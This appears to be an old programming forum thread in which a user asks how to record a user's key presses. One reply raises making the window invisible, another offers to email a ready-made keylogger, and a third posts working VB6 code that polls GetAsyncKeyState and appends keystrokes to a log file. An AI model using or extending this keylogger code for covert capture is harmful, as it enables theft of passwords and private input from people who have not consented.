How do you make a program that loggs the key presses made by the user for a periond of time!!!!!!
Printable View
How do you make a program that loggs the key presses made by the user for a periond of time!!!!!!
Do you want the form to be invisible??
I have one of these that saves the keypresses in a log file and it can be visible or invisible, lets have your email address and i'll mail it to you.
Try this example using the GetAsyncKeyState. Make a Form with a Timer and put the following code into it.
Code:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
'Set the Timer settings
Timer1.Enabled = True
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
'Loop though some of the mnay used Keys
For I = 13 To 122
If GetAsyncKeyState(I) Then MyKey = Chr(I)
Next I
'If it's not a NullString then Append it to a file
If MyKey <> vbNullString Then
Open "C:\MyLog.txt" For Append As #1
Print #1, MyKey
Close #1
End If
End Sub